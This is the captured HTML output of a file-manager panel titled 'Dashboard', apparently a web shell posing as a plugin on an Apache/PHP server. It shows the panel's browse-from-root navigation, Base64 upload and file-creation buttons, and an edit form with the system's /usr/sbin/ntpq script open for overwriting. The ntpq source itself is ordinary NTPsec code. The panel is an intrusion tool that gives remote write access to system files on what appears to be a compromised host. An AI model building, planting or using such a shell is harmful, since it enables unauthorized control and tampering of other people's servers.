{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-22 07:58:03"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr">usr</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr%2Fsbin">sbin</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
            <a href="?p=%2Fusr%2Fsbin" class="button button-red">Close</a>            <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <div class="edit-container">
                <div class="edit-title">Editing: ntpq</div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="/usr/sbin/ntpq">
                    <textarea name="edit_content">#! /usr/bin/python3 -s
# -*- coding: utf-8 -*-
#
# ntpq - query an NTP server using mode 6 commands
#
# Freely translated from the old C ntpq code by ESR.  The idea was to
# cleanly separate ntpq-that-was into a thin front-end layer handling
# mainly command interpretation and a back-end that presents the take
# from ntpd as objects that can be re-used by other front
# ends. Reusable pieces live in pylib.
#
# SPDX-License-Identifier: BSD-2-Clause
from __future__ import print_function, division

import cmd
import getopt
import os
import re
import resource
import socket
import sys
import time

try:
    import ntp.control
    import ntp.ntpc
    import ntp.packet
    import ntp.util
    import ntp.poly
except ImportError as e:
    sys.stderr.write(
        &quot;ntpq: can&#039;t find Python NTP library -- check PYTHONPATH.\n&quot;)
    sys.stderr.write(&quot;%s\n&quot; % e)
    sys.exit(1)

# This used to force UTF-8 encoding, but that breaks the readline system.
# Unfortunately sometimes sys.stdout.encoding lies about the encoding,
# so expect random false positives.
ntp.util.check_unicode()

version = ntp.util.stdversion()

# Flags for forming descriptors.
OPT = 0x80        # this argument is optional, or&#039;d with type */
NO = 0x0
NTP_STR = 0x1     # string argument
NTP_UINT = 0x2    # unsigned integer
NTP_INT = 0x3     # signed integer
NTP_ADD = 0x4     # IP network address
IP_VERSION = 0x5  # IP version
NTP_ADP = 0x6     # IP address and port
NTP_LFP = 0x7     # NTP timestamp
NTP_MODE = 0x8    # peer mode
NTP_2BIT = 0x9    # leap bits
NTP_FLOAT = 0xa   # Float value
NTP_UPTIME = 0xb  # uptime in daysD H:M:S (usually no frac)
NTP_PACKETS = 0xc # packet counts


class Ntpq(cmd.Cmd):
    &quot;ntpq command interpreter&quot;

    def __init__(self, session):
        cmd.Cmd.__init__(self)
        self.session = session
        self.prompt = &quot;ntpq&gt; &quot; if os.isatty(0) else &quot;&quot;
        self.interactive = False        # set to True when we should prompt
        # self.auth_keyid   = 0# Keyid used for authentication.
        # self.auth_keytype = &quot;NID_md5&quot;# MD5 (FIXME: string value is a dummy)
        # self.auth_hashlen = 16# MD5
        # I do not know if the preceding are there for a specific reason
        #  so I am leaving them, and possibly duplicating them.
        self.rawmode = False            # Flag which indicates raw mode output.
        self.directmode = False         # Flag for direct MRU output.
        self.showhostnames = 1          # If &amp; 1, display names
        self.showunits = False          # If False, show old style float
        self.auth_delay = 20            # delay time (default 20msec)
        self.wideremote = False         # show wide remote names?
        self.ccmds = []                 # Queued commands
        self.chosts = []                # Command-line hosts
        self.peers = []                 # Data from NTP peers.
        self.debug = 0
        self.logfp = sys.stderr
        self.pktversion = ntp.magic.NTP_OLDVERSION + 1
        self.uservars = ntp.util.OrderedDict()
        self.ai_family = socket.AF_UNSPEC
        self.termwidth = ntp.util.termsize()[0]

    def get_names(self):
        # Overrides a method in Cmd
        return [x.replace(&#039;hot_&#039;, &#039;:&#039;).replace(&#039;config_from_file&#039;,
                                               &#039;config-from-file&#039;)
                for x in dir(self.__class__)]

    def emptyline(self):
        &quot;Called when an empty line is entered in response to the prompt.&quot;
        pass

    def precmd(self, line):
        if line.startswith(&quot;:config&quot;):
            line = &quot;hot_&quot; + line[1:]
        elif line.startswith(&quot;config-from-file&quot;):
            line = line.replace(&quot;config-from-file&quot;, &quot;config_from_file&quot;)
        return line

    def default(self, line):
        &quot;Called on an input line when the command prefix is not recognized.&quot;
        cmd, arg, line = self.parseline(line)
        try:
            dotext = &#039;do_&#039;+cmd
            cmdprefixlist = [a[3:] for a in self.get_names()
                             if a.startswith(dotext)]
            if len(cmdprefixlist) == 1:
                line = line.replace(cmd, cmdprefixlist[0])
                cmd = cmdprefixlist[0]
            elif len(cmdprefixlist) &gt; 1:
                self.warn(&quot;***Command `%s&#039; ambiguous&quot; % cmd)
                return
            elif not cmdprefixlist:
                self.warn(&quot;***Command `%s&#039; unknown&quot; % cmd)
                return

            if cmd == &quot;help&quot; and arg:
                helptext = &#039;help_&#039;+arg
                if helptext not in self.get_names():
                    argprefixlist = [a[5:] for a in self.get_names()
                                     if a.startswith(helptext)]
                    if len(argprefixlist) == 1:
                        line = line.replace(arg, argprefixlist.pop())
                    elif len(argprefixlist) &gt; 1:
                        self.warn(&quot;Command `%s&#039; is ambiguous&quot; % arg)
                        return
                    elif not argprefixlist:
                        self.warn(&quot;Command `%s&#039; is unknown&quot; % arg)
                        return

            self.onecmd(line)
        except TypeError:
            self.warn(&quot;Command `%s&#039; is unknown&quot; % line)

    def do_help(self, arg):
        if arg:
            helptext = &#039;help_&#039;+arg
            if helptext not in self.get_names():
                argprefixlist = [a[5:] for a in self.get_names()
                                 if a.startswith(helptext)]
                if len(argprefixlist) == 1:
                    arg = argprefixlist.pop()
                elif len(argprefixlist) &gt; 1:
                    self.warn(&quot;Command `%s&#039; is ambiguous.&quot; % arg)
                    return
        cmd.Cmd.do_help(self, arg)

    def say(self, msg):
        try:
            sys.stdout.write(ntp.poly.polyunicode(msg))
        except UnicodeEncodeError as e:
            self.warn(&quot;Unicode failure: %s&quot; % str(e))
            self.warn(&quot;msg:\n&quot; + repr(msg))
            raise e
        sys.stdout.flush()    # In case we&#039;re piping the output

    def warn(self, msg):
        sys.stderr.write(ntp.poly.polystr(msg) + &quot;\n&quot;)

    def help_help(self):
        self.say(&quot;&quot;&quot;\
function: tell the use and syntax of commands
usage: help [ command ]
&quot;&quot;&quot;)

    # Unexposed helper tables and functions begin here

    def __dogetassoc(self):
        try:
            self.peers = self.session.readstat()
        except ntp.packet.ControlException as e:
            self.warn(e.message)
            return False
        except IOError as e:
            self.warn(e.strerror)
            return False

        if not self.peers:
            if self.chosts:
                self.say(&quot;server=%s &quot; % self.session.hostname)
            self.say(&quot;No association IDs returned\n&quot;)
            return False

        if self.debug:
            self.warn(&quot;\n%d associations total&quot; % len(self.peers))
        # sortassoc()
        return True

    def __printassoc(self, showall):
        if not self.peers:
            self.say(&quot;No association IDs in list\n&quot;)
            return
        self.say(
            &quot;\nind assid status  conf reach auth condition  last_event cnt\n&quot;)
        self.say(
            &quot;===========================================================\n&quot;)
        for (i, peer) in enumerate(self.peers):
            statval = ntp.control.CTL_PEER_STATVAL(peer.status)
            if (not showall and
                    (statval &amp; (ntp.control.CTL_PST_CONFIG |
                                ntp.control.CTL_PST_REACH)) == 0):
                continue
            sw = ntp.util.PeerStatusWord(peer.status)
            display = &quot;%3d %5u  %04x   %3.3s  %4s  %4.4s %9.9s %11s %2lu&quot; \
                % (i + 1, peer.associd, peer.status, sw.conf, sw.reach,
                   sw.auth, sw.condition, sw.last_event, sw.event_count)
            self.say(display + &quot;\n&quot;)

    def __dopeers(self, showall, mode):
        if not self.__dogetassoc():
            return
        report = ntp.util.PeerSummary(mode,
                                      self.pktversion,
                                      self.showhostnames,
                                      self.wideremote,
                                      self.showunits,
                                      termwidth=interpreter.termwidth,
                                      debug=interpreter.debug,
                                      logfp=self.logfp)
        try:
            maxhostlen = 0
            if len(self.chosts) &gt; 1:
                maxhostlen = max([len(host) for (host, _af) in self.chosts])
                self.say(&quot;%-*.*s &quot;
                         % (maxhostlen, maxhostlen+1, &quot;server&quot;))
            self.say(report.header() + &quot;\n&quot;)
            if len(self.chosts) &gt; 1:
                maxhostlen = max([len(host) for (host, _af) in self.chosts])
                self.say(&quot;=&quot; * (maxhostlen + 1))
            self.say((&quot;=&quot; * report.width()) + &quot;\n&quot;)
            for peer in self.peers:
                if (not showall and
                    not (ntp.control.CTL_PEER_STATVAL(peer.status) &amp;
                         (ntp.control.CTL_PST_CONFIG |
                          ntp.control.CTL_PST_REACH))):
                    if self.debug:
                        self.warn(&quot;eliding [%d]\n&quot; % peer.associd)
                    continue
                try:
                    variables = self.session.readvar(peer.associd, raw=True)
                except ntp.packet.ControlException as e:
                    self.warn(e.message)
                    return
                except IOError as e:
                    self.warn(e.strerror)
                    return
                if not variables:
                    if len(self.chosts) &gt; 1:
                        self.warn(&quot;server=%s &quot; % self.session.hostname)
                    self.warn(&quot;***No information returned for association %d&quot;
                              % peer.associd)
                    continue
                if len(self.chosts) &gt; 1:
                    self.say(ntp.util.PeerSummary.high_truncate(
                             self.session.hostname, maxhostlen) + &quot; &quot; *
                             (maxhostlen + 1 - len(self.session.hostname)))
                self.say(report.summary(self.session.rstatus,
                                        variables, peer.associd))
        except KeyboardInterrupt:
            pass

    def __assoc_valid(self, line, required=False):
        &quot;Process a numeric associd or index.&quot;
        # FIXME: This does a useless call to __dogetassoc() when associd == 0
        # No big deal most of the time.  Just a useless packet exchange.
        if not line:
            if required:
                self.warn(&quot;An associd argument is required.&quot;)
                return -1
            else:
                return 0
        if not self.peers:
            self.__dogetassoc()
        if line.startswith(&quot;&amp;&quot;):
            try:
                idx = int(line[1:].split()[0])
            except ValueError:
                self.warn(&quot;Invalid index literal.&quot;)
                return -1
            if idx &lt; 0 or idx &gt;= 2**16-1:
                self.warn(&quot;%d is not a valid association number.&quot; % idx)
                return -1
            elif idx not in range(1, len(self.peers)+1):
                self.warn(&quot;No such association as %d.&quot; % idx)
                return -1
            else:
                return self.peers[idx - 1].associd
        else:
            try:
                associd = int(line.split()[0])
            except ValueError:
                self.warn(&quot;Invalid associd literal.&quot;)
                return -1
            if (associd != 0 and
                    associd not in [peer.associd for peer in self.peers]):
                self.warn(&quot;Unknown associd.&quot;)
                return -1
            else:
                return associd

    def __assoc_range_valid(self, line):
        &quot;Try to get a range of assoc IDs.&quot;
        tokens = line.split()
        if len(tokens) &lt; 2:
            return ()
        lo = self.__assoc_valid(tokens[0])
        hi = self.__assoc_valid(tokens[1])
        if lo &lt; 0 or hi &lt; 0 or hi &lt; lo:
            return ()
        if lo == hi:
            return(lo,)
        return range(lo, hi+1)

    def printvars(self, variables, dtype, quiet):
        &quot;Dump variables in raw (actually, semi-cooked) mode.&quot;
        if self.rawmode:
            if not quiet:
                self.say(&quot;status=0x%04x,\n&quot; % self.session.rstatus)
            # C ntpq not only suppressed \r but tried to visibilize
            # high-half characters.  We won&#039;t do that unless somebody
            # files a bug, Mode 6 never seems to generate those in
            # variable fetches.
            text = ntp.poly.polystr(session.response.replace(
                &quot;,\r\n&quot;, &quot;,\n&quot;))
        else:
            if not quiet:
                self.say(&quot;status=%04x %s,\n&quot;
                         % (self.session.rstatus,
                            ntp.ntpc.statustoa(dtype, self.session.rstatus)))
            text = ntp.util.cook(variables, self.showunits)
        text = text.replace(&quot;&#039;&quot;, &#039;&quot;&#039;)
        self.say(text)

    def __dolist(self, varlist, associd, op, type, quiet=False):
        &quot;List variables associated with a specified peer.&quot;
        try:
            variables = self.session.readvar(associd, varlist, op, raw=True)
        except ntp.packet.ControlException as e:
            self.warn(e.message)
            return False
        except IOError as e:
            self.warn(e.strerror)
            return False
        if len(self.chosts) &gt; 1:
            self.say(&quot;server=%s &quot; % self.session.hostname)
        if not variables:
            if associd == 0:
                self.say(&quot;No system%s variables returned\n&quot;
                         % &quot; clock&quot; if (type == ntp.ntpc.TYPE_CLOCK) else &quot;&quot;)
            else:
                self.say(&quot;No information returned for%s association %d\n&quot;
                         % (&quot; clock&quot; if (type == ntp.ntpc.TYPE_CLOCK) else &quot;&quot;,
                            associd))
            return True
        if not quiet:
            self.say(&quot;associd=%d &quot; % associd)
        self.printvars(variables, type, not (not varlist))
        return True

    # Unexposed helper tables and functions end here

    def do_units(self, _unused):
        &quot;toggle unit display&quot;
        self.showunits = not self.showunits

    def help_units(self):
        self.say(&quot;&quot;&quot;\
function: toggle unit display
usage: units
&quot;&quot;&quot;)

    def do_EOF(self, _unused):
        &quot;exit ntpq&quot;
        self.say(&quot;\n&quot;)
        return True

    def do_timeout(self, line):
        &quot;set the primary receive time out&quot;
        if line:
            try:
                self.session.primary_timeout = int(line)
            except ValueError:
                self.warn(&quot;What?&quot;)
        self.say(&quot;primary timeout %d ms\n&quot; % self.session.primary_timeout)

    def help_timeout(self):
        self.say(&quot;&quot;&quot;\
function: set the primary receive time out
usage: timeout [ msec ]
&quot;&quot;&quot;)

    def collect_display2(self, variables):
        &quot;Query and display a collection of variables from the system.&quot;
        try:
            queried = self.session.readvar(0,
                                           [v[0] for v in variables] +
                                           [v[0] + &#039;_r&#039; for v in variables],
                                           raw=True)
        except ntp.packet.ControlException as e:
            if ntp.control.CERR_UNKNOWNVAR == e.errorcode:
                self.warn(&quot;Unknown variable.  Trying one at a time.&quot;)
                varlist = [v[0] for v in variables] + \
                          [v[0] + &#039;_r&#039; for v in variables]
                items = []
                for var in varlist:
                    try:
                        queried = self.session.readvar(0, [var],
                                                       raw=True)
                        for (name, (value, rawvalue)) in queried.items():
                            items.append((name, (value, rawvalue)))
                    except ntp.packet.ControlException as e:
                        if ntp.control.CERR_UNKNOWNVAR == e.errorcode:
                            items.append((var, (&quot;???&quot;, None)))
                            continue
                        raise e
                queried = ntp.util.OrderedDict(items)
            else:
                self.warn(e.message)
                return
        except IOError as e:
            self.warn(e.strerror)
            return
        if self.rawmode:
            self.say(self.session.response)
            return
        try:
            runs, runl = None, None
            for (name, legend, fmt) in variables:
                if name not in queried:
                    continue
                value = queried[name][0]
                rawvalue = queried[name][1]
                value2 = queried[name + &#039;_r&#039;][0]
                rawvalue2 = queried[name + &#039;_r&#039;][1]
                if fmt in (NTP_UINT, NTP_INT, NTP_FLOAT):
                    if self.showunits and isinstance(rawvalue, (int, float)):
                        display = ntp.util.unitifyvar(rawvalue, name)
                    else:
                        display = value
                    if self.showunits and isinstance(rawvalue2, (int, float)):
                        display2 = ntp.util.unitifyvar(rawvalue2, name)
                    else:
                        display2 = value2
                        self.say(
                            &quot;{0:&lt;13} {1:&gt;13} {2:&gt;13}\n&quot;.format(
                                legend, display, display2)
                        )
                elif fmt == NTP_PACKETS:
                    self.say(
                        &quot;{0:&lt;13} {1[0]:&gt;13} {2[0]:&gt;13} {1[1]:&gt;10}{1[2]:&lt;3} {2[1]:&gt;10}{2[2]:&lt;3}\n&quot;.format(
                                legend,
                                ntp.util.packetize(value, runs),
                                ntp.util.packetize(value2, runl),
                        )
                    )
                elif fmt == NTP_UPTIME:
                    runs, display = ntp.util.periodize(value)
                    runl, display2 = ntp.util.periodize(value2)
                    self.say(
                        &quot;{0:&lt;13} {1:&gt;13} {2:&gt;13}\n&quot;.format(
                            legend, display, display2)
                    )
                else:
                    self.warn(&quot;unexpected vc type %s for %s, value %s %s    &quot;
                              % (fmt, name, value, value2))
        except KeyboardInterrupt:
            self.warn(&quot;display interrupted&quot;)

    def collect_display(self, associd, variables, decodestatus):
        &quot;Query and display a collection of variables from the system.&quot;
        try:
            queried = self.session.readvar(associd,
                                           [v[0] for v in variables],
                                           raw=True)
        except ntp.packet.ControlException as e:
            if ntp.control.CERR_UNKNOWNVAR == e.errorcode:
                self.warn(&quot;Unknown variable.  Trying one at a time.&quot;)
                varlist = [v[0] for v in variables]
                items = []
                for var in varlist:
                    try:
                        queried = self.session.readvar(associd, [var],
                                                       raw=True)
                        for (name, (value, rawvalue)) in queried.items():
                            items.append((name, (value, rawvalue)))
                    except ntp.packet.ControlException as e:
                        if ntp.control.CERR_UNKNOWNVAR == e.errorcode:
                            items.append((var, &quot;???&quot;))
                            continue
                        raise e
                queried = ntp.util.OrderedDict(items)
            else:
                self.warn(e.message)
                return
        except IOError as e:
            self.warn(e.strerror)
            return
        if self.rawmode:
            self.say(self.session.response)
            return
        if decodestatus:
            if associd == 0:
                statype = ntp.ntpc.TYPE_SYS
            else:
                statype = ntp.ntpc.TYPE_PEER
            self.say(&quot;associd=%u status=%04x %s,\n&quot;
                     % (associd, self.session.rstatus,
                        ntp.ntpc.statustoa(statype, self.session.rstatus)))
        try:
            run = 1
            for (name, legend, fmt) in variables:
                if name not in queried:
                    continue
                value = queried[name][0]
                rawvalue = queried[name][1]
                if fmt in (NTP_ADD, NTP_ADP):
                    if self.showhostnames &amp; 1:  # if &amp; 1, display names
                        if self.debug:
                            self.say(&quot;DNS lookup begins...&quot;)
                        value = ntp.util.canonicalize_dns(
                            value, family=self.ai_family)
                        if self.debug:
                            self.say(&quot;DNS lookup complete.&quot;)
                    self.say(&quot;%13s %13s\n&quot; % (legend, value))
                elif fmt == NTP_STR:
                    if value:
                        self.say(&quot;%13s %13s\n&quot; % (legend, value))
                elif fmt in (NTP_UINT, NTP_INT, NTP_FLOAT):
                    if self.showunits:
                        displayvalue = ntp.util.unitifyvar(rawvalue, name)
                    else:
                        displayvalue = value
                    self.say(&quot;%13s %13s\n&quot; % (legend, displayvalue))
                elif fmt == NTP_LFP:
                    self.say(&quot;%13s %13s\n&quot; % (
                        legend, ntp.ntpc.prettydate(value)))
                elif fmt == NTP_2BIT:
                    self.say(&quot;%13s %13s\n&quot;
                             % (legend, (&quot;00&quot;, &quot;01&quot;, &quot;10&quot;, &quot;11&quot;)[value]))
                elif fmt == NTP_MODE:
                    modes = (
                        &quot;unspec&quot;, &quot;sym_active&quot;, &quot;sym_passive&quot;, &quot;client&quot;,
                        &quot;server&quot;,
                        &quot;broadcast&quot;, &quot;control&quot;, &quot;private&quot;, &quot;bclient&quot;
                    )
                    try:
                        self.say(&quot;%s  %s\n&quot; % (legend, modes[value]))
                    except IndexError:
                        self.say(&quot;%s  %s%d\n&quot; % (legend, &quot;mode#&quot;, value))
                elif fmt == NTP_PACKETS:
                    self.say(
                        &quot;{0:&lt;13} {1[0]:&gt;13} {1[1]:&gt;10}{1[2]:&lt;3}\n&quot;.format(
                            legend, ntp.util.packetize(value, run)
                        )
                    )
                elif fmt == NTP_UPTIME:
                    run, display = ntp.util.periodize(value)
                    self.say(&quot;{0:&lt;13} {1:&gt;13}\n&quot;.format(legend, display))
                else:
                    self.warn(&quot;unexpected vc type %s for %s, value %s&quot;
                              % (fmt, name, value))
        except KeyboardInterrupt:
            self.warn(&quot;display interrupted&quot;)

    def do_delay(self, line):
        &quot;set the delay added to encryption time stamps&quot;
        if not line:
            self.say(&quot;delay %d ms\n&quot; % self.auth_delay)
        else:
            try:
                self.auth_delay = int(line)
                if self.auth_delay &lt; 0:
                    raise ValueError
            except ValueError:
                self.say(&quot;Huh?&quot;)

    def help_delay(self):
        self.say(&quot;&quot;&quot;\
function: set the delay added to encryption time stamps
usage: delay [ msec ]
&quot;&quot;&quot;)

    def do_host(self, line):
        &quot;specify the host whose NTP server we talk to&quot;
        if not line:
            if self.session.havehost():
                self.say(&quot;current host is %s\n&quot; % self.session.hostname)
            else:
                self.say(&quot;no current host\n&quot;)
        else:
            tokens = line.split()
            if tokens[0] == &#039;-4&#039;:
                session.ai_family = socket.AF_INET
                tokens.pop(0)
            elif tokens[0] == &#039;-6&#039;:
                session.ai_family = socket.AF_INET6
                tokens.pop(0)
            try:
                if (tokens and
                        self.session.openhost(tokens[0], session.ai_family)):
                    self.say(&quot;current host set to %s\n&quot;
                             % self.session.hostname)
                elif self.session.havehost():
                    self.say(&quot;current host remains %s\n&quot;
                             % self.session.hostname)
                else:
                    self.say(&quot;still no current host\n&quot;)
            except KeyboardInterrupt:
                self.warn(&quot;lookup interrupted&quot;)

    def help_host(self):
        self.say(&quot;&quot;&quot;\
function: specify the host whose NTP server we talk to
usage: host [-4|-6] [hostname]
&quot;&quot;&quot;)

    def do_poll(self, line):
        &quot;poll an NTP server in client mode `n&#039; times&quot;
        # And it&#039;s not in the C version, so we&#039;re off the hook here
        self.warn(&quot;WARNING: poll not implemented yet&quot;)

    def help_poll(self):
        self.say(&quot;&quot;&quot;\
function: poll an NTP server in client mode `n&#039; times
usage: poll [n] [verbose]
&quot;&quot;&quot;)

    def do_passwd(self, line):
        &quot;specify a password to use for authenticated requests&quot;
        try:
            self.session.password()
        except ntp.packet.ControlException as e:
            self.warn(e.message)
        except IOError:
            self.warn(&quot;***Can&#039;t read control key from /etc/ntp.conf&quot;)

    def help_passwd(self):
        self.say(&quot;&quot;&quot;\
function: specify a password to use for authenticated requests
usage: passwd []
&quot;&quot;&quot;)

    def do_hostnames(self, line):
        &quot;specify whether hostnames or net numbers are printed&quot;
        if not line:
            pass
        elif line == &quot;yes&quot;:
            self.showhostnames = 1
        elif line == &quot;no&quot;:
            self.showhostnames = 0
        elif line == &#039;hostnum&#039;:
            self.showhostnames = 2
        elif line == &#039;hostname&#039;:
            self.showhostnames = 3
        else:
            self.say(&quot;What?\n&quot;)
            pass
        if self.showhostnames &amp; 1:
            self.say(&#039;resolved hostnames being shown\n&#039;)
        else:
            self.say(&#039;resolved hostnames not being shown\n&#039;)
        if self.showhostnames &amp; 2:
            self.say(&#039;supplied hostnames being shown\n&#039;)
        else:
            self.say(&#039;supplied hostnames not being shown\n&#039;)

    def help_hostnames(self):
        self.say(&quot;&quot;&quot;\
function: specify whether hostnames or net numbers are printed
usage: hostnames [yes|no|hostname|hostnum]
&quot;&quot;&quot;)

    def do_debug(self, line):
        &quot;set/change debugging level&quot;
        if not line:
            pass
        elif line == &quot;more&quot;:
            self.debug += 1
        elif line == &quot;less&quot;:
            if self.debug &gt; 0:
                self.debug -= 1
        elif line == &quot;no&quot;:
            self.debug = 0
        else:
            try:
                self.debug = int(line)  # C version didn&#039;t implement this
            except ValueError:
                self.warn(&quot;What?&quot;)
        self.session.debug = self.debug
        self.say(&quot;debug level is %d\n&quot; % self.debug)

    def do_logfile(self, line):
        &quot;&quot;&quot;view/change logfile. \&quot;&lt;stderr&gt;\&quot; will log to stderr
           instead of a file&quot;&quot;&quot;
        if not line:
            self.say(repr(self.logfp.name) + &quot;\n&quot;)
            return
        if self.logfp != sys.stderr:
            self.logfp.close()
        if line == &quot;&lt;stderr&gt;&quot;:
            self.logfp = self.session.logfp = sys.stderr
        else:
            try:
                logfp = open(line, &quot;a&quot;, 1)  # 1 =&gt; line buffered
                self.logfp = self.session.logfp = logfp
                self.say(&quot;Logfile set to %s\n&quot; % line)
            except IOError:
                self.warn(&quot;Could not open %s for logging.&quot; % line)

    def help_debug(self):
        self.say(&quot;&quot;&quot;\
function: set/change debugging level
usage: debug [no|more|less|n]
&quot;&quot;&quot;)

    def do_exit(self, line):
        &quot;exit ntpq&quot;
        return True

    def help_exit(self):
        self.say(&quot;&quot;&quot;\
function: exit ntpq
usage: exit
&quot;&quot;&quot;)
    do_quit = do_exit

    def help_quit(self):
        self.say(&quot;&quot;&quot;\
function: exit ntpq
usage: quit
&quot;&quot;&quot;)

    def do_keyid(self, line):
        &quot;set keyid to use for authenticated requests&quot;
        if line:
            try:
                self.session.keyid = int(line)
            except ValueError:
                self.warn(&quot;What?&quot;)
        if self.session.keyid is None:
            self.say(&quot;no keyid defined\n&quot;)
        else:
            self.say(&quot;keyid is %d\n&quot; % self.session.keyid)

    def help_keyid(self):
        self.say(&quot;&quot;&quot;\
function: set keyid to use for authenticated requests
usage: keyid [key#]
&quot;&quot;&quot;)

    def do_version(self, line):
        &quot;print version number&quot;
        self.say(version + &quot;\n&quot;)

    def help_version(self):
        self.say(&quot;&quot;&quot;\
function: print version number
usage: version
&quot;&quot;&quot;)

    def do_direct(self, line):
        &quot;toggle direct mode output&quot;
        self.directmode = not self.directmode
        if self.directmode:
            self.say(&quot;Direct mode is on\n&quot;)
        else:
            self.say(&quot;Direct mode is off\n&quot;)

    def help_direct(self):
        self.say(&quot;&quot;&quot;\
function: toggle direct-mode MRU output
usage: direct
&quot;&quot;&quot;)

    def do_raw(self, line):
        &quot;do raw mode variable output&quot;
        self.rawmode = True
        self.say(&quot;Output set to raw\n&quot;)

    def help_raw(self):
        self.say(&quot;&quot;&quot;\
function: do raw mode variable output
usage: raw
&quot;&quot;&quot;)

    def do_cooked(self, line):
        &quot;do cooked mode variable output&quot;
        self.rawmode = False
        self.say(&quot;Output set to cooked\n&quot;)

    def help_cooked(self):
        self.say(&quot;&quot;&quot;\
function: do cooked mode variable output
usage: cooked
&quot;&quot;&quot;)

    def do_authenticate(self, line):
        &quot;always authenticate requests to this server&quot;
        if not line:
            pass
        elif line == &quot;yes&quot;:
            self.session.always_auth = True
        elif line == &quot;no&quot;:
            self.session.always_auth = False
        else:
            self.warn(&quot;What?&quot;)
        if self.session.always_auth:
            self.say(&quot;authenticated requests being sent\n&quot;)
        else:
            self.say(&quot;unauthenticated requests being sent\n&quot;)

    def help_authenticate(self):
        self.say(&quot;&quot;&quot;\
function: always authenticate requests to this server
usage: authenticate [yes|no]
&quot;&quot;&quot;)

    def do_ntpversion(self, line):
        &quot;set the NTP version number to use for requests&quot;
        if not line:
            pass
        else:
            try:
                newversion = int(line)
                if (newversion &gt;= ntp.magic.NTP_OLDVERSION and
                        newversion &lt;= ntp.magic.NTP_VERSION):
                    self.pktversion = newversion
                else:
                    self.warn(&quot;versions %d to %d, please&quot;
                              % (ntp.magic.NTP_OLDVERSION,
                                 ntp.magic.NTP_VERSION))
            except ValueError:
                self.warn(&quot;What?&quot;)
        self.say(&quot;NTP version being claimed is %d\n&quot; % self.pktversion)

    def help_ntpversion(self):
        self.say(&quot;&quot;&quot;\
function: set the NTP version number to use for requests
usage: ntpversion [version number]
&quot;&quot;&quot;)

    def do_keytype(self, line):
        &quot;set key type to use for authenticated requests&quot;
        if not line:
            self.say(&quot;Keytype: %s\n&quot; % self.session.keytype)
